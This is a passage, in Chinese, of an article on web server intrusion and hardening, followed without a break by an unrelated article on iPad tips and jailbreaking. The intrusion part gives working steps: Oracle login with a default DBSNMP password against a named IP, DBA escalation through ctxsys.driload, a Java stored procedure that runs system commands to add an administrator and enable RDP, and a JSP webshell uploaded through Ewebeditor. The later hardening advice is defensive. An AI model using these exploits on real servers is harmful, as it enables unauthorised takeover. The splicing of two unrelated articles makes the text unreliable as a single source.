REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /v EnableWinStation /t REG_DWORD /d 1“。
1.2 Oracle入侵
ORACLE數據庫默認安裝以后有很多帳戶密碼都是默認的，如果管理員安全意識不高很容易被人利用從而獲得系統權限。
首先要使用lsnrctl得到對方的SID號。使用lsnrctl工具連接對方IP的listener，在CMD里輸入lsnrctl 進入lsnrctl后 執行 Set current_listener 目標IP 和Status命令，這個時候可以看到服務 china 和modose 這2個有一個是SID號；
接著安裝個ORACLE的客戶端，使用Sqlplus連接服務器，格式 sqlplus DBSNMP/DBSNMP@//202.98.123.79:1521/china 成功登陸，執行 select * from user_role_privs; 可以看出當前用戶只具有CONNECT權限。利用Oracle本地PL/SQL漏洞進行權限提升，成功提升為DBA權限，命令如下：
SQL> Exec ctxsys.driload.validate_stmt('grant dba to dbsnmp');
最后借用Oracle支持的Java特性，創建可以執行系統命令的存儲過程，增加管理員賬號(Windows平臺的Oracle默認以system賬號運行，所以我們執行的命令也是以system賬號權限執行),下面創建一個JAVA源程序，以便執行系統命令。創建名為”util”的JAVA程序的主體代碼如下：public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try {Process p = rt.exec(args); int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len; byte buffer[] = new byte[bufSize]; while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace();
RC = -1; }
存儲過程如下：create or replace function run_cmz(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; 執行存儲命令 exec :x:=run_cmz('cmd /c ver'); exec :x:=run_cmz('cmd /c 'net user ceshi 98765321 /add '); exec :x:=run_cmz('cmd /c 'net localgroup administrators ceshi /add');這樣就可以添加了windows 2003系統用戶，并提升到超級管理員的權限。如要開啟遠程計算機3389服務，只要執行如下命令：
exec :x:=run_cmz('cmd /c 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /v EnableWinStation /t REG_DWORD /d 1 ');
1.3 上傳漏洞的利用
這種技術方式是利用網站的上傳功能來上傳木馬，正常來說，ASP/PHP/JSP為后綴的文件在網站是不允許上傳，但是黑客會攻破這道防護，采取其它技術來上傳ASP/PHP/JSP木馬，獲得服務器的WEBSHELL權限。如Ewebeditor組件在JSP/ASP/PHP開發起到很大作用，但卻帶來很大的安全隱患，它常被用作上傳木馬的手段。如JSP網站服務器，通過Ewebeditor可上傳abc.jsp文件到服務器，abc.jsp文件代碼如下：
String output = "";if(cmd != null) {String s = null;try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {output += s;}}catch(IOException e) {e.printStackTrace();}
}%>
在瀏覽器上面輸入目標ip/abc.jsp?cmd= 'net user ceshi 98765321 /add';
目標ip/abc.jsp?cmd='net localgroup administrators ceshi /add';
目標ip/abc.jsp?cmd=' REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /v EnableWinStation /t REG_DWORD /d 1';
這樣就可以添加了windows 2003系統用戶，并提升到超級管理員的權限。如要開啟遠程計算機3389服務。
2 服務器安全防護---應對策略
2.1 架構安全的Web服務器
目前，比較主流的操作系統是Windows2003系統，但因其自身存在著許多系統漏澗及安全隱患，如何對服務器進行安全檢測和安全配置顯得十分重要。
1）安裝操作系統時要選擇NTFS文件格式，裝完操作系統要殺毒軟件。
2）安裝系統補丁。掃描漏洞全面殺毒; 刪除Windows Server 2003默認共享,命令如下：
@echo off ;
net share C$ /del;
net share D$ /del;
3）禁用IPC連接
在命令行輸入如下命令即可進行連接：net use\目標ip\ipc$ "password" /user:"usernqme"。我們可以通過修改注冊表來禁用IPC連接。打開注冊表編輯器。找到如下組建HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa中的restrictanonymous子鍵，將其值改為1即可禁用IPC連接。
4）刪除"網絡連接"里的協議和服務
在"網絡連接"里，把不需要的協議和服務都刪掉，這里只安裝了基本的Internet協議(TCP/IP)，同時在高級tcp/ip設置里--"NetBIOS"設置"禁用tcp/IP上的NetBIOS(S)"。
5）啟用windows連接防火墻，只開放web服務(80端口)。
windows連接防火墻可以有效地攔截對Windows 2003服務器的非法入侵，防止非法遠程主機對服務器的掃描，從而提高Windows 2003服務器的安全性。同時，它也可以有效攔截利用操作系統漏洞進行端口攻擊的病毒，如沖擊波等蠕蟲病毒。如果在用Windows 2003構造的虛擬路由器上啟用此防火墻功能，能夠對整個內部網絡起到很好的保護作用，因此我們只開放web服務器常用端口，如80端口。
2.2 構建數據庫及程序的安全體系
1) 預防ACCESS數據庫下載。把ACCESS數據庫的擴展名mdb改為asp/php，通過這種方式來解決ACCESS數據庫被識別下載。
2) 防SQL注入攻擊。從程序的本身著手，對于用戶輸入的數據不能直接傳參，最有效的方法還是通過存儲過程來防止SQL注入。
3) 強化數據庫密碼的強度，防止數據庫的密碼泄露，定期修改數據庫密碼，保證數據庫密碼的安全。
3 結束語
隨著網絡飛速發展及B/S服務業務的廣泛應用，服務器的安全問題是不可忽略的，防護與入侵這一對矛盾是永遠存在的。本文結合工作實際，分析了Web服務器的入侵方式，給出了服務器安全防護的應對策略。
參考文獻：
[1] 徐玉國,韓兆君.Web應用程序中的數據庫安全策略[J].電腦知識與技術,2007(1):23.
iPad帶有你可能已經聽說過的所有各種功能,但是,如果進一步探究的話,它還有許多會令你大吃一驚的隱藏功能。這些秘密中的一些是通過應用程序來實現的,而另一些則已經內建在設備中。
把iPad變成桌面顯示器
在計算機上安裝相應的工具軟件并將其連接到Air Display System Preference,iPad就可以成為一個額外的屏幕。可以在Displays System Preference中調整其位置,可以以水平視圖或垂直視圖的方式工作。盡管它在顯示視頻的時候略有延遲,但是,對于大多數工作來說,它刷新得足夠快,你甚至可以觸摸iPad來實現點擊操作。
如果等不及Air Display,你現在可以考慮 iDisplay(5美元)。但這是個有問題的競爭性產品,需要進行更新才能很好地與Air Display比拼。
播放PC上的電影
即便你購買了最大容量的iPad,如果它不能裝下你的所有視頻的話,它還是太小了。你可以使用iPad播放本地或網絡上的視頻,而不是試圖把所有內容都放入到iPad中。這個過程有一個缺陷:如果你從iTunes商店購買電影或者TV,DRM限制會阻止這些文件(播客視頻和音樂視頻應該可以播放)。但是,你可以觀看自己的視頻而不受DRM下載服務的限制。
在眾多可用的選項中,我最喜歡Air Video(3美元),只要在PC或Mac上安裝一個服務器工具,就可以把數據導向iPad。以我的測試,Air Video對大多數分辨率的視頻都能順利地播放,包括通過802.11n Wi-Fi 無線網絡的720p視頻文件。
該分辨率的視頻在802.11g網絡上不能順暢地傳輸,但是,如果你訪問一個太大的文件或者不是iPad友好的QuickTime格式的文件,包括AVI、WMV、ASF、MKV、DIVX和FLV,你可能要讓PC遠程轉換該視頻。只需要從iPad界面點擊一個按鈕就可以開始播放視頻,或者用一個快速的PC處理它并現場播放,它甚至支持字幕和TV輸出。iPad可以通過其售價29美元的Dock Connector to VGA適配器以1024×768的分辨率向TV發送視頻,通過49美元的Apple Component A/V Cable傳送576p和 480p的視頻,或通過Apple Composite Cable(也是49美元)發送576i或480i的視頻。
不只連接攝像頭
Apple的iPad Camera Connection Kit(29美元)的功能比描述的要多。這款適配器的USB端口可以連接廣泛的設備,而不只是從照相機或SD卡導出照片和視頻。
很多USB鍵盤都可以與iPad 連接,雖然iPad會給出一個警告,說不支持該設備,但是,如果它不消耗太多電力,你完全可以忽略該消息。不但音量和媒體鍵有效,你甚至可以使用Command-Z這樣的桌面命令(別忘了,iPad還正式支持藍牙鍵盤和App的iPad鍵盤Dock)。
USB音頻設備也可以正常工作,包括話筒、耳機和麥克。即使一個設備需要較多的電量或繁瑣步驟也沒有問題:只要把設備連接到一個供電的USB hub,并且把hub連接到Camera Connection Kit適配器。我們甚至可以同時連接不同的設備,例如,鍵盤和話筒組。
破解更多功能
Apple對iPad的強制性控制,使得它不太像是一臺計算機,而更像是一款媒體播放器。但是,你也有替代選擇:破解你的iPad,然后,可以運行Apple未批準的第三方應用程序。
如果你想要破解你的iPad,這意味著,你將會失去iPad保修,并且你要對可能發生的錯誤承擔完全責任,或者你也可以使用Camera Connection Kit來讀取USB記憶棒和SD卡目錄。這樣,即使沒有破解,你也已經可以使用SD卡視頻和照片。或者附加一個Compact Flash閱讀器,稍稍折騰一下,你就可以從一個外部USB硬盤讀取文件。當然,對于那些熱衷技術或甘愿冒險的人,破解才是最好的選擇。
你可以把iPad連接到一臺計算機,運行Sprit然后通過Cydia界面安裝應用程序。Cydia和iTunes應用程序可以共存,因此,你可以安裝Backgrounder和Multiflow這樣的應用程序,從而允許多任務處理。當然,多任務在OS 4.0中將正式出現。注意,在我們撰寫這篇文章時,ProSwitcher(公認的最佳的iPhone多任務應用破解程序)并沒有針對iPad優化,堅持使用那些已經針對iPad重新編寫的破解應用程序可能會有助于避免不必要的麻煩。
其他的破解應用程序包括適用于iPad版本的Wi-Fi Sync (無線iTunes同步)、Winterboard(定制主題)和Dashboard(OS X風格小掛件)。我們還可以使用帶有鼠標的iPad運行游戲控制臺模擬器和手柄,并且還可以做一些Apple所不允許的事情。隨著iPad破解社區的發展,好處還將不斷增多。
遠程訪問PC
如果你周末匆忙地離開,忘記把一封重要的商務文件復制到筆記本電腦上,可以使用iPad遠程桌面工具來訪問這些內容。
不管你是通過互聯網來訪問,或者只是在旁邊的房間里,這個過程的速度肯定不足以平穩地播放視頻,因此你可能要安裝Hulu補丁。但是,如果你可以達到每秒鐘處理10到20幀的速度,使用大多數其他應用程序以及慢速移動的Flash游戲例如Farmville,都是沒有問題的。
在眾多的選擇中,我喜歡LogMeIn Ignition(如果想要盡可能少地進行配置的話,需要30美元)和iTeleport(25美元),如果想要手動設置的話,還要加上 VNC Viewer(10美元)。你需要首先給PC配置一個服務器工具軟件(或者有一個內置到OS中的選項),然后,你就可以連接任何地方。
所有這3種工具都提供類似的功能,你可以使用手勢幫助輸入。iTeleport包含較多的鍵盤選項,例如控制媒體應用程序,但是,我認為其實現不太方便。
如果你只是想坐下來休息一下,并且控制一臺計算機來收看電視,Mobile Mouse (3美元)可以把你的iPad變成一個無線鍵盤、多觸點鼠標跟蹤板和媒體遙控器。
加速瀏覽器
從真正的標簽開始,Atomic Web(1美元)添加了很多類似桌面的優點。多觸點揮動手勢甚至可以在打開的站點之間切換。但是,這只是開始。Atomic Web瀏覽器可以有選擇地忽略掉圖像,從而節省帶寬; 將其自身標示為各種桌面瀏覽器,讓你定制搜索引擎; 甚至在一個頁面中搜索文本,修改其按鈕等等。
遺憾的是,Safari被作為iPad的默認瀏覽器。然而,我們可以創建一個標簽,在Atomic Web瀏覽器中重載一個Safari頁面。在Atomic Web Browser Settings菜單里,點擊Install Bookmarklet,就會打開Safari并展示這一過程。